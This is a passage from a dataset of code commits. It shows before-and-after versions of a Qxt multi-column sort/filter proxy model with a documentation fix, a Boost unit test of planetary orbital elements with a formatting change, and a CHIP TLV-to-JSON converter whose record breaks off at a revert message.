QMap<int,QxtModelFilterPrivate> filters;\r\n        bool                            m_declaringFilter;\r\n};\r\n\r\nQxtModelFilterPrivate::QxtModelFilterPrivate(const QVariant &value, const int role, const Qt::MatchFlags flags)\r\n    :m_value(value),m_role(role),m_flags(flags)\r\n{\r\n\r\n}\r\n\r\nbool QxtModelFilterPrivate::acceptsValue ( const QVariant & value )\r\n{\r\n    uint matchType = m_flags & 0x0F;\r\n    \/\/if we have no value we accept everything\r\n    if(!m_value.isValid() || !value.isValid())\r\n        return true;\r\n\r\n    \/\/ QVariant based matching\r\n    if (matchType == Qt::MatchExactly ){\r\n        if(m_value == value) \r\n            return true;\r\n    }\r\n    \/\/ QString based matching\r\n    else { \r\n        Qt::CaseSensitivity cs = m_flags & Qt::MatchCaseSensitive ? Qt::CaseSensitive : Qt::CaseInsensitive;\r\n        QString filterText = m_value.toString();\r\n        QString modelText  = value.toString();\r\n        switch (matchType){\r\n            case Qt::MatchRegExp:\r\n                if (QRegExp(filterText, cs).exactMatch(modelText))\r\n                    return true;\r\n                break;\r\n            case Qt::MatchWildcard:\r\n                if (QRegExp(filterText, cs, QRegExp::Wildcard).exactMatch(modelText))\r\n                    return true;\r\n                break;\r\n            case Qt::MatchStartsWith:\r\n                if (modelText.startsWith(filterText, cs))\r\n                    return true;\r\n                break;\r\n            case Qt::MatchEndsWith:\r\n                if (modelText.endsWith(filterText, cs))\r\n                    return true;\r\n                break;\r\n            case Qt::MatchFixedString:\r\n                if (modelText.compare(filterText, cs) == 0)\r\n                    return true;\r\n                break;\r\n            default:\r\n            case Qt::MatchContains:\r\n                if (modelText.contains(filterText, cs))\r\n                    return true;\r\n        }\r\n    }\r\n    return false;\r\n}\r\n\r\n\r\nQxtSortFilterProxyModel::QxtSortFilterProxyModel ( QObject *parent) : QSortFilterProxyModel(parent)\r\n{\r\n    QXT_INIT_PRIVATE(QxtSortFilterProxyModel);\r\n    qxt_d().m_declaringFilter = false;\r\n}\r\n\r\n\/*!\r\n *@desc tells the model you want to declare a new filter\r\n *If you have a lot of data in your model it can be slow to declare more than one filter,\r\n *because the model will always rebuild itself. If you call this member before setting the\r\n *new filters the model will invalidate its contents not before you call \\sa endDeclareFilter()\r\n *\/\r\nvoid QxtSortFilterProxyModel::beginDeclareFilter ( )\r\n{\r\n    qxt_d().m_declaringFilter = true;\r\n}\r\n\r\n\/*!\r\n *@desc stops the filter declaration and invalidates the filter \r\n *\\sa beginDeclareFilter()\r\n *\/\r\nvoid QxtSortFilterProxyModel::endDeclareFilter ( )\r\n{\r\n    if(qxt_d().m_declaringFilter){\r\n        qxt_d().m_declaringFilter = false;\r\n        invalidateFilter();\r\n    }\r\n}\r\n\r\nbool QxtSortFilterProxyModel::filterAcceptsRow ( int source_row, const QModelIndex &source_parent ) const\r\n{\r\n    QList<int> filterColumns = qxt_d().filters.keys();\r\n    foreach(int currCol,filterColumns){\r\n        QxtModelFilterPrivate filter = qxt_d().filters[currCol];\r\n        \/\/ if the column specified by the user is -1 \r\n        \/\/ that means all columns need to pass the filter to get into the result\r\n        if (currCol == -1) {\r\n            int column_count = sourceModel()->columnCount(source_parent);\r\n            for (int column = 0; column < column_count; ++column) {\r\n                QModelIndex source_index = sourceModel()->index(source_row, column, source_parent);\r\n                QVariant key = sourceModel()->data(source_index, filter.m_role);\r\n                if (!filter.acceptsValue(key))\r\n                   return false;\r\n            }\r\n            continue;\r\n        }\r\n        QModelIndex source_index = sourceModel()->index(source_row, currCol , source_parent);\r\n        if (!source_index.isValid()) \/\/ the column may not exist\r\n            continue;\r\n        QVariant key = sourceModel()->data(source_index, filter.m_role);\r\n        if(!filter.acceptsValue(key))\r\n            return false;\r\n    }\r\n    return true;\r\n}\r\n\r\nvoid QxtSortFilterProxyModel::setFilter ( const int column, const QVariant &value, const int role, Qt::MatchFlags flags )\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        qxt_d().filters[column] = QxtModelFilterPrivate(value,role,flags);\r\n    else\r\n        qxt_d().filters.insert(column,QxtModelFilterPrivate(value,role,flags));\r\n\r\n    if(!qxt_d().m_declaringFilter)\r\n        invalidateFilter();\r\n}\r\n\r\nvoid QxtSortFilterProxyModel::removeFilter ( const int column )\r\n{\r\n    if(qxt_d().filters.contains(column)){\r\n        qxt_d().filters.remove(column);\r\n\r\n        if(!qxt_d().m_declaringFilter)\r\n            invalidateFilter();\r\n    }\r\n}\r\n\r\nvoid QxtSortFilterProxyModel::setFilterValue ( const int column , const QVariant &value )\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        qxt_d().filters[column].m_value = value;\r\n    else\r\n        qxt_d().filters.insert(column,QxtModelFilterPrivate(value));\r\n\r\n    if(!qxt_d().m_declaringFilter)\r\n        invalidateFilter();\r\n}\r\n\r\nvoid QxtSortFilterProxyModel::setFilterRole ( const int column , const int role )\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        qxt_d().filters[column].m_role=role;\r\n    else\r\n        qxt_d().filters.insert(column,QxtModelFilterPrivate(QVariant(),role));\r\n\r\n    if(!qxt_d().m_declaringFilter)\r\n        invalidateFilter();\r\n}\r\n\r\nvoid QxtSortFilterProxyModel::setFilterFlags ( const int column , const Qt::MatchFlags flags )\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        qxt_d().filters[column].m_flags = flags;\r\n    else\r\n        qxt_d().filters.insert(column,QxtModelFilterPrivate(QVariant(),Qt::DisplayRole,flags));\r\n\r\n    if(!qxt_d().m_declaringFilter)\r\n        invalidateFilter();\r\n}\r\n\r\nQVariant QxtSortFilterProxyModel::filterValue ( const int column ) const\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        return qxt_d().filters[column].m_value;\r\n    return QVariant();\r\n}\r\n\r\nint QxtSortFilterProxyModel::filterRole ( const int column ) const\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        return qxt_d().filters[column].m_role;\r\n    return -1;\r\n}\r\n\r\n\/*!\r\n * @desc returns the filter flags for the given column\r\n * @note if the column is not filtered it will return the default value\r\n *\/\r\nQt::MatchFlags QxtSortFilterProxyModel::filterFlags ( const int column ) const\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        return qxt_d().filters[column].m_flags;\r\n    return Qt::MatchContains;\r\n}\r\n\r\n\/*!\r\n *Returns true if the column is filtered\r\n *\/\r\nbool QxtSortFilterProxyModel::isFiltered ( const int column )\r\n{\r\n    return qxt_d().filters.contains(column);\r\n}\r\n\r\n<commit_msg>Fixed QxtSortFilterProxyModel docs.<commit_after>\/****************************************************************************\r\n **\r\n ** Copyright (C) Qxt Foundation. Some rights reserved.\r\n **\r\n ** This file is part of the QxtGui module of the Qxt library.\r\n **\r\n ** This library is free software; you can redistribute it and\/or modify it\r\n ** under the terms of the Common Public License, version 1.0, as published\r\n ** by IBM, and\/or under the terms of the GNU Lesser General Public License,\r\n ** version 2.1, as published by the Free Software Foundation.\r\n **\r\n ** This file is provided \"AS IS\", without WARRANTIES OR CONDITIONS OF ANY\r\n ** KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY\r\n ** WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR\r\n ** FITNESS FOR A PARTICULAR PURPOSE.\r\n **\r\n ** You should have received a copy of the CPL and the LGPL along with this\r\n ** file. See the LICENSE file and the cpl1.0.txt\/lgpl-2.1.txt files\r\n ** included with the source distribution for more information.\r\n ** If you did not receive a copy of the licenses, contact the Qxt Foundation.\r\n **\r\n ** <http:\/\/libqxt.org>  <foundation@libqxt.org>\r\n **\r\n ****************************************************************************\/\r\n\r\n#include \"qxtsortfilterproxymodel.h\"\r\n#include <QRegExp>\r\n\r\n\/*!\r\n *\\class QxtSortFilterProxyModel QxtSortFilterProxyModel is a multi column filter model\r\n *The QxtSortFilterProxyModel makes it possible to filter over multiple columns.\r\n *\\code\r\n *QxtSortFilterProxyModel * filterModel = new QxtSortFilterProxyModel(parent);\r\n *filterModel->setSourceModel(sourceModel);\r\n *filterModel->beginDeclareFilter();\r\n *filterModel->setFilter(1,QVariant(\"SomeStringValue\"),Qt::DisplayRole,Qt::MatchExactly);\r\n * \/\/remove some old filter\r\n *filterModel->removeFilter(2);\r\n *filterModel->setFilter(5,QVariant(1234),Qt::DisplayRole,Qt::MatchExactly);\r\n *filterModel->endDeclateFilter();\r\n *\\endcode\r\n *Now the model will filter column 1 and 5, to be accepted by the filtermodel a row needs to pass all filters\r\n *\/\r\n\r\nclass QxtModelFilterPrivate\r\n{\r\n    public:\r\n        QxtModelFilterPrivate   (const QVariant &value = QVariant(), const int role = Qt::DisplayRole, const Qt::MatchFlags flags = Qt::MatchContains);\r\n        bool            acceptsValue ( const QVariant & value );\r\n        QVariant        m_value;\r\n        int             m_role;\r\n        Qt::MatchFlags  m_flags;\r\n};\r\n\r\nclass QxtSortFilterProxyModelPrivate : public QxtPrivate<QxtSortFilterProxyModel>\r\n{\r\n    public:\r\n        QMap<int,QxtModelFilterPrivate> filters;\r\n        bool                            m_declaringFilter;\r\n};\r\n\r\nQxtModelFilterPrivate::QxtModelFilterPrivate(const QVariant &value, const int role, const Qt::MatchFlags flags)\r\n    :m_value(value),m_role(role),m_flags(flags)\r\n{\r\n\r\n}\r\n\r\nbool QxtModelFilterPrivate::acceptsValue ( const QVariant & value )\r\n{\r\n    uint matchType = m_flags & 0x0F;\r\n    \/\/if we have no value we accept everything\r\n    if(!m_value.isValid() || !value.isValid())\r\n        return true;\r\n\r\n    \/\/ QVariant based matching\r\n    if (matchType == Qt::MatchExactly ){\r\n        if(m_value == value) \r\n            return true;\r\n    }\r\n    \/\/ QString based matching\r\n    else { \r\n        Qt::CaseSensitivity cs = m_flags & Qt::MatchCaseSensitive ? Qt::CaseSensitive : Qt::CaseInsensitive;\r\n        QString filterText = m_value.toString();\r\n        QString modelText  = value.toString();\r\n        switch (matchType){\r\n            case Qt::MatchRegExp:\r\n                if (QRegExp(filterText, cs).exactMatch(modelText))\r\n                    return true;\r\n                break;\r\n            case Qt::MatchWildcard:\r\n                if (QRegExp(filterText, cs, QRegExp::Wildcard).exactMatch(modelText))\r\n                    return true;\r\n                break;\r\n            case Qt::MatchStartsWith:\r\n                if (modelText.startsWith(filterText, cs))\r\n                    return true;\r\n                break;\r\n            case Qt::MatchEndsWith:\r\n                if (modelText.endsWith(filterText, cs))\r\n                    return true;\r\n                break;\r\n            case Qt::MatchFixedString:\r\n                if (modelText.compare(filterText, cs) == 0)\r\n                    return true;\r\n                break;\r\n            default:\r\n            case Qt::MatchContains:\r\n                if (modelText.contains(filterText, cs))\r\n                    return true;\r\n        }\r\n    }\r\n    return false;\r\n}\r\n\r\n\r\nQxtSortFilterProxyModel::QxtSortFilterProxyModel ( QObject *parent) : QSortFilterProxyModel(parent)\r\n{\r\n    QXT_INIT_PRIVATE(QxtSortFilterProxyModel);\r\n    qxt_d().m_declaringFilter = false;\r\n}\r\n\r\n\/*!\r\n *\\brief tells the model you want to declare a new filter\r\n *If you have a lot of data in your model it can be slow to declare more than one filter,\r\n *because the model will always rebuild itself. If you call this member before setting the\r\n *new filters the model will invalidate its contents not before you call \\sa endDeclareFilter()\r\n *\/\r\nvoid QxtSortFilterProxyModel::beginDeclareFilter ( )\r\n{\r\n    qxt_d().m_declaringFilter = true;\r\n}\r\n\r\n\/*!\r\n *\\brief stops the filter declaration and invalidates the filter \r\n *\\sa beginDeclareFilter()\r\n *\/\r\nvoid QxtSortFilterProxyModel::endDeclareFilter ( )\r\n{\r\n    if(qxt_d().m_declaringFilter){\r\n        qxt_d().m_declaringFilter = false;\r\n        invalidateFilter();\r\n    }\r\n}\r\n\r\nbool QxtSortFilterProxyModel::filterAcceptsRow ( int source_row, const QModelIndex &source_parent ) const\r\n{\r\n    QList<int> filterColumns = qxt_d().filters.keys();\r\n    foreach(int currCol,filterColumns){\r\n        QxtModelFilterPrivate filter = qxt_d().filters[currCol];\r\n        \/\/ if the column specified by the user is -1 \r\n        \/\/ that means all columns need to pass the filter to get into the result\r\n        if (currCol == -1) {\r\n            int column_count = sourceModel()->columnCount(source_parent);\r\n            for (int column = 0; column < column_count; ++column) {\r\n                QModelIndex source_index = sourceModel()->index(source_row, column, source_parent);\r\n                QVariant key = sourceModel()->data(source_index, filter.m_role);\r\n                if (!filter.acceptsValue(key))\r\n                   return false;\r\n            }\r\n            continue;\r\n        }\r\n        QModelIndex source_index = sourceModel()->index(source_row, currCol , source_parent);\r\n        if (!source_index.isValid()) \/\/ the column may not exist\r\n            continue;\r\n        QVariant key = sourceModel()->data(source_index, filter.m_role);\r\n        if(!filter.acceptsValue(key))\r\n            return false;\r\n    }\r\n    return true;\r\n}\r\n\r\nvoid QxtSortFilterProxyModel::setFilter ( const int column, const QVariant &value, const int role, Qt::MatchFlags flags )\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        qxt_d().filters[column] = QxtModelFilterPrivate(value,role,flags);\r\n    else\r\n        qxt_d().filters.insert(column,QxtModelFilterPrivate(value,role,flags));\r\n\r\n    if(!qxt_d().m_declaringFilter)\r\n        invalidateFilter();\r\n}\r\n\r\nvoid QxtSortFilterProxyModel::removeFilter ( const int column )\r\n{\r\n    if(qxt_d().filters.contains(column)){\r\n        qxt_d().filters.remove(column);\r\n\r\n        if(!qxt_d().m_declaringFilter)\r\n            invalidateFilter();\r\n    }\r\n}\r\n\r\nvoid QxtSortFilterProxyModel::setFilterValue ( const int column , const QVariant &value )\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        qxt_d().filters[column].m_value = value;\r\n    else\r\n        qxt_d().filters.insert(column,QxtModelFilterPrivate(value));\r\n\r\n    if(!qxt_d().m_declaringFilter)\r\n        invalidateFilter();\r\n}\r\n\r\nvoid QxtSortFilterProxyModel::setFilterRole ( const int column , const int role )\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        qxt_d().filters[column].m_role=role;\r\n    else\r\n        qxt_d().filters.insert(column,QxtModelFilterPrivate(QVariant(),role));\r\n\r\n    if(!qxt_d().m_declaringFilter)\r\n        invalidateFilter();\r\n}\r\n\r\nvoid QxtSortFilterProxyModel::setFilterFlags ( const int column , const Qt::MatchFlags flags )\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        qxt_d().filters[column].m_flags = flags;\r\n    else\r\n        qxt_d().filters.insert(column,QxtModelFilterPrivate(QVariant(),Qt::DisplayRole,flags));\r\n\r\n    if(!qxt_d().m_declaringFilter)\r\n        invalidateFilter();\r\n}\r\n\r\nQVariant QxtSortFilterProxyModel::filterValue ( const int column ) const\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        return qxt_d().filters[column].m_value;\r\n    return QVariant();\r\n}\r\n\r\nint QxtSortFilterProxyModel::filterRole ( const int column ) const\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        return qxt_d().filters[column].m_role;\r\n    return -1;\r\n}\r\n\r\n\/*!\r\n * \\brief returns the filter flags for the given column\r\n * \\bold {Note:} if the column is not filtered it will return the default value\r\n *\/\r\nQt::MatchFlags QxtSortFilterProxyModel::filterFlags ( const int column ) const\r\n{\r\n    if(qxt_d().filters.contains(column))\r\n        return qxt_d().filters[column].m_flags;\r\n    return Qt::MatchContains;\r\n}\r\n\r\n\/*!\r\n *Returns true if the column is filtered\r\n *\/\r\nbool QxtSortFilterProxyModel::isFiltered ( const int column )\r\n{\r\n    return qxt_d().filters.contains(column);\r\n}\r\n\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- Mode:C++ -*-\n\n\/**************************************************************************************************\/\n\/*                                                                                                *\/\n\/* Copyright (C) 2015 University of Hull                                                          *\/\n\/*                                                                                                *\/\n\/**************************************************************************************************\/\n\/*                                                                                                *\/\n\/*  module     :  celestial\/orbital\/test\/orbitals.cpp                                             *\/\n\/*  project    :                                                                                  *\/\n\/*  description:                                                                                  *\/\n\/*                                                                                                *\/\n\/**************************************************************************************************\/\n\n\/\/ includes, system\n\n#include <boost\/date_time\/posix_time\/posix_time.hpp> \/\/ boost::posix_time::ptime\n#include <boost\/io\/ios_state.hpp>                    \/\/ boost::io::ios_flags_saver\n#include <glm\/gtx\/io.hpp>                            \/\/ glm::operator<<\n\n\/\/ includes, project\n\n#include <celestial\/orbitals.hpp>\n\n#define BOOST_TEST_MAIN\n#include <boost\/test\/unit_test.hpp>\n\n\/\/ internal unnamed namespace\n\nnamespace {\n  \n  \/\/ types, internal (class, enum, struct, union, typedef)\n  \n  \/\/ variables, internal\n\n  boost::posix_time::ptime const dtime(\/\/ boost::posix_time::second_clock::local_time().date(),\n                                       boost::gregorian::date(2000, 1, 1),\n                                       boost::posix_time::hours(0));\n  \n  \/\/ functions, internal\n\n  void\n  print_orbital(celestial::orbital::base const& o)\n  {\n    boost::io::ios_flags_saver const ifs(std::cout);\n    \n    BOOST_MESSAGE(o << \" @\"\n                  << glm::io::precision(2) << glm::io::width(1+2+1+2)\n                  << o.distance_and_anomaly() << ':'\n                  << glm::io::precision(2) << glm::io::width(1+1+1+2)\n                  << o.coord_ecliptic_rect_geo() << ':'\n                  << o.coord_equatorial_rect_geo());\n  }\n  \n} \/\/ namespace {\n  \n\/\/ variables, exported\n\n\/\/ functions, exported\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_moon)\n{\n  celestial::orbital::moon const m(dtime, 0.0);\n  \n  BOOST_CHECK(60.2666 == m.a);\n  BOOST_CHECK(0.0549  == m.e);\n  BOOST_CHECK(5.1454  == m.i);\n\n  print_orbital(m);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_sun)\n{\n  celestial::orbital::sun const s(dtime, 0.0);\n\n  BOOST_CHECK(0.0 == s.N);\n  BOOST_CHECK(1.0 == s.a);\n  BOOST_CHECK(0.0 == s.i);\n\n  print_orbital(s);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_mercury)\n{\n  celestial::orbital::mercury const m(dtime, 0.0);\n\n  BOOST_CHECK(0.387098 == m.a);\n\n  print_orbital(m);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_venus)\n{\n  celestial::orbital::venus const v(dtime, 0.0);\n\n  BOOST_CHECK(0.723330 == v.a);\n\n  print_orbital(v);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_mars)\n{\n  celestial::orbital::mars const m(dtime, 0.0);\n\n  BOOST_CHECK(1.523688 == m.a);\n\n  print_orbital(m);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_jupiter)\n{\n  celestial::orbital::jupiter const j(dtime, 0.0);\n\n  BOOST_CHECK(5.20256 == j.a);\n\n  print_orbital(j);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_saturn)\n{\n  celestial::orbital::saturn const s(dtime, 0.0);\n\n  BOOST_CHECK(9.55475 == s.a);\n\n  print_orbital(s);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_uranus)\n{\n  celestial::orbital::uranus const u(dtime, 0.0);\n\n  BOOST_CHECK(true);\n\n  print_orbital(u);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_neptune)\n{\n  celestial::orbital::neptune const n(dtime, 0.0);\n\n  BOOST_CHECK(true);\n\n  print_orbital(n);\n}\n<commit_msg>formatting<commit_after>\/\/ -*- Mode:C++ -*-\n\n\/**************************************************************************************************\/\n\/*                                                                                                *\/\n\/* Copyright (C) 2015 University of Hull                                                          *\/\n\/*                                                                                                *\/\n\/**************************************************************************************************\/\n\/*                                                                                                *\/\n\/*  module     :  celestial\/orbital\/test\/orbitals.cpp                                             *\/\n\/*  project    :                                                                                  *\/\n\/*  description:                                                                                  *\/\n\/*                                                                                                *\/\n\/**************************************************************************************************\/\n\n\/\/ includes, system\n\n#include <boost\/date_time\/posix_time\/posix_time.hpp> \/\/ boost::posix_time::ptime\n#include <boost\/io\/ios_state.hpp>                    \/\/ boost::io::ios_flags_saver\n#include <glm\/gtx\/io.hpp>                            \/\/ glm::operator<<\n\n\/\/ includes, project\n\n#include <celestial\/orbitals.hpp>\n\n#define BOOST_TEST_MAIN\n#include <boost\/test\/unit_test.hpp>\n\n\/\/ internal unnamed namespace\n\nnamespace {\n  \n  \/\/ types, internal (class, enum, struct, union, typedef)\n  \n  \/\/ variables, internal\n\n  boost::posix_time::ptime const dtime(\/\/ boost::posix_time::second_clock::local_time().date(),\n                                       boost::gregorian::date(2000, 1, 1),\n                                       boost::posix_time::hours(0));\n  \n  \/\/ functions, internal\n\n  void\n  print_orbital(celestial::orbital::base const& o)\n  {\n    boost::io::ios_flags_saver const ifs(std::cout);\n    \n    BOOST_MESSAGE(o << \" @\"\n                  << glm::io::precision(2) << glm::io::width(1+2+1+2)\n                  << o.distance_and_anomaly() << ':'\n                  << glm::io::precision(2) << glm::io::width(1+1+1+2)\n                  << o.coord_ecliptic_rect_geo() << ':'\n                  << o.coord_equatorial_rect_geo());\n  }\n  \n} \/\/ namespace {\n  \n\/\/ variables, exported\n\n\/\/ functions, exported\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_moon)\n{\n  celestial::orbital::moon const m(dtime, 0.0);\n  \n  BOOST_CHECK(60.2666 == m.a);\n  BOOST_CHECK( 0.0549  == m.e);\n  BOOST_CHECK( 5.1454  == m.i);\n\n  print_orbital(m);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_sun)\n{\n  celestial::orbital::sun const s(dtime, 0.0);\n\n  BOOST_CHECK(0.0 == s.N);\n  BOOST_CHECK(1.0 == s.a);\n  BOOST_CHECK(0.0 == s.i);\n\n  print_orbital(s);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_mercury)\n{\n  celestial::orbital::mercury const m(dtime, 0.0);\n\n  BOOST_CHECK(0.387098 == m.a);\n\n  print_orbital(m);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_venus)\n{\n  celestial::orbital::venus const v(dtime, 0.0);\n\n  BOOST_CHECK(0.723330 == v.a);\n\n  print_orbital(v);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_mars)\n{\n  celestial::orbital::mars const m(dtime, 0.0);\n\n  BOOST_CHECK(1.523688 == m.a);\n\n  print_orbital(m);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_jupiter)\n{\n  celestial::orbital::jupiter const j(dtime, 0.0);\n\n  BOOST_CHECK(5.20256 == j.a);\n\n  print_orbital(j);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_saturn)\n{\n  celestial::orbital::saturn const s(dtime, 0.0);\n\n  BOOST_CHECK(9.55475 == s.a);\n\n  print_orbital(s);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_uranus)\n{\n  celestial::orbital::uranus const u(dtime, 0.0);\n\n  BOOST_CHECK(true);\n\n  print_orbital(u);\n}\n\nBOOST_AUTO_TEST_CASE(test_celestial_orbital_neptune)\n{\n  celestial::orbital::neptune const n(dtime, 0.0);\n\n  BOOST_CHECK(true);\n\n  print_orbital(n);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *\n *    Copyright (c) 2020 Project CHIP Authors\n *    Copyright (c) 2013-2017 Nest Labs, Inc.\n *\n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n *\n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License.\n *\/\n#include \"lib\/support\/CHIPMemString.h\"\n#include \"lib\/support\/ScopedBuffer.h\"\n#include <lib\/core\/DataModelTypes.h>\n#include <lib\/support\/Base64.h>\n#include <lib\/support\/jsontlv\/TlvJson.h>\n\nnamespace {\n\/*\n * Encapsulates the different types of keys permissible.\n *\n * Root Key = Key with a name of 'value'. This is the top-most key in a given JSON object generated from TLV.\n * Struct Field = Key containing the 32-bit field ID of an item in a struct.\n * Array Item = Key containing the 16-bit list index of an item in a list.\n *\n * In the latter two modes, the actual field ID\/list index is encapsulated within the 'key' member.\n *\n *\/\nstruct KeyContext\n{\n    enum KeyType\n    {\n        kRoot,\n        kStructField,\n        kArrayItem\n    };\n\n    KeyContext() = default;\n\n    KeyContext(chip::FieldId fieldId)\n    {\n        keyType = kStructField;\n        key     = fieldId;\n    }\n\n    KeyContext(chip::ListIndex listIndex)\n    {\n        keyType = kArrayItem;\n        key     = listIndex;\n    }\n\n    KeyType keyType = kRoot;\n    uint32_t key    = 0;\n};\n} \/\/ namespace\n\n\/\/\n\/\/ For now, let's put a bound of the maximum length of a byte\/char string to be the size of an IPv6\n\/\/ MTU. While this is smaller than that of the limit defined in the data model specification,\n\/\/ strings by virtue of not being chunked are intrinsically limited in size to the size of the encompassing packet.\n\/\/\nstatic constexpr uint16_t kMaxStringLen = 1280;\n\nnamespace chip {\n\n\/*\n * This templated function inserts a key\/value pair into the Json value object.\n * The value is templated to be of type T and accepts any of the following primitive\n * types:\n *      bool, uint*_t, int*_t, char *, float, double.\n *\n * This method uses the provided key context to deduce the type of element being added.\n *\n *\/\ntemplate <typename T>\nvoid InsertKeyValue(Json::Value & json, const KeyContext & keyContext, T val)\n{\n    \/\/\n    \/\/ This needs to accomodate either the string 'value', or a 32-bit integer.\n    \/\/ The size of the largest 32-bit integer key represented as a string is 11 characters long.\n    \/\/ Tack on 1 byte for the null character.\n    \/\/\n    char keyBuf[12];\n\n    if (keyContext.keyType == KeyContext::kRoot)\n    {\n        Platform::CopyString(keyBuf, sizeof(keyBuf), \"value\");\n        json[keyBuf] = val;\n    }\n    else if (keyContext.keyType == KeyContext::kStructField)\n    {\n        snprintf(keyBuf, sizeof(keyBuf), \"%\" PRIu32, keyContext.key);\n        json[keyBuf] = val;\n    }\n    else\n    {\n        json[keyContext.key] = val;\n    }\n}\n\nstd::string JsonToString(Json::Value & json)\n{\n    Json::StyledWriter writer;\n    return writer.write(json);\n}\n\nCHIP_ERROR TlvToJson(TLV::TLVReader & reader, KeyContext context, Json::Value & parent)\n{\n    bool isStruct = false;\n\n    switch (reader.GetType())\n    {\n    case TLV::kTLVType_UnsignedInteger: {\n        uint64_t v;\n        ReturnErrorOnFailure(reader.Get(v));\n        InsertKeyValue(parent, context, v);\n        break;\n    }\n\n    case TLV::kTLVType_SignedInteger: {\n        int64_t v;\n        ReturnErrorOnFailure(reader.Get(v));\n        InsertKeyValue(parent, context, v);\n        break;\n    }\n\n    case TLV::kTLVType_Boolean: {\n        bool v;\n        ReturnErrorOnFailure(reader.Get(v));\n        InsertKeyValue(parent, context, v);\n        break;\n    }\n\n    case TLV::kTLVType_FloatingPointNumber: {\n        double v;\n        ReturnErrorOnFailure(reader.Get(v));\n        InsertKeyValue(parent, context, v);\n        break;\n    }\n\n    case TLV::kTLVType_ByteString: {\n        ByteSpan span;\n\n        ReturnErrorOnFailure(reader.Get(span));\n        VerifyOrReturnError(span.size() < kMaxStringLen, CHIP_ERROR_INVALID_TLV_ELEMENT);\n\n        Platform::ScopedMemoryBuffer<char> byteString;\n        byteString.Alloc(BASE64_ENCODED_LEN(span.size()) + 1);\n        VerifyOrReturnError(byteString.Get() != nullptr, CHIP_ERROR_NO_MEMORY);\n\n        auto encodedLen              = Base64Encode(span.data(), span.size(), byteString.Get());\n        byteString.Get()[encodedLen] = '\\0';\n\n        InsertKeyValue(parent, context, byteString.Get());\n        break;\n    }\n\n    case TLV::kTLVType_UTF8String: {\n        CharSpan span;\n\n        ReturnErrorOnFailure(reader.Get(span));\n        VerifyOrReturnError(span.size() < kMaxStringLen, CHIP_ERROR_INVALID_TLV_ELEMENT);\n\n        Platform::ScopedMemoryString charString(span.data(), span.size());\n        InsertKeyValue(parent, context, charString.Get());\n        break;\n    }\n\n    case TLV::kTLVType_Null: {\n        InsertKeyValue(parent, context, Json::Value());\n        break;\n    }\n\n    case TLV::kTLVType_Structure:\n        isStruct = true;\n\n        \/\/\n        \/\/ Fall-through to the case below since\n        \/\/ arrays and structs are handled similarly with\n        \/\/ just a small difference in terms of handling of field IDs vs.\n        \/\/ list indices of the elements in the respective collections.\n        \/\/\n\n    case TLV::kTLVType_Array: {\n        TLV::TLVType containerType;\n\n        ReturnErrorOnFailure(reader.EnterContainer(containerType));\n\n        CHIP_ERROR err;\n        Json::Value value;\n        size_t listIndex = 0;\n\n        while ((err = reader.Next()) == CHIP_NO_ERROR)\n        {\n            if (isStruct)\n            {\n                VerifyOrReturnError(TLV::IsContextTag(reader.GetTag()), CHIP_ERROR_INVALID_TLV_TAG);\n                KeyContext context2(static_cast<chip::FieldId>(TLV::TagNumFromTag(reader.GetTag())));\n\n                \/\/\n                \/\/ Recursively convert to JSON the encompassing item within the struct.\n                \/\/\n                ReturnErrorOnFailure(TlvToJson(reader, context2, value));\n            }\n            else\n            {\n                KeyContext context2(static_cast<chip::ListIndex>(listIndex++));\n\n                \/\/\n                \/\/ Recursively convert to JSON the encompassing item within the array.\n                \/\/\n                ReturnErrorOnFailure(TlvToJson(reader, context2, value));\n            }\n        }\n\n        VerifyOrReturnError(err == CHIP_END_OF_TLV, err);\n        ReturnErrorOnFailure(reader.ExitContainer(containerType));\n        InsertKeyValue(parent, context, value);\n        break;\n    }\n\n    default:\n        return CHIP_ERROR_INVALID_TLV_ELEMENT;\n        break;\n    }\n\n    return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR TlvToJson(TLV::TLVReader & reader, Json::Value & root)\n{\n    KeyContext context;\n    return TlvToJson(reader, context, root);\n}\n\n} \/\/ namespace chip\n<commit_msg>Revert \"Fix sprintf type issue in TlvJson 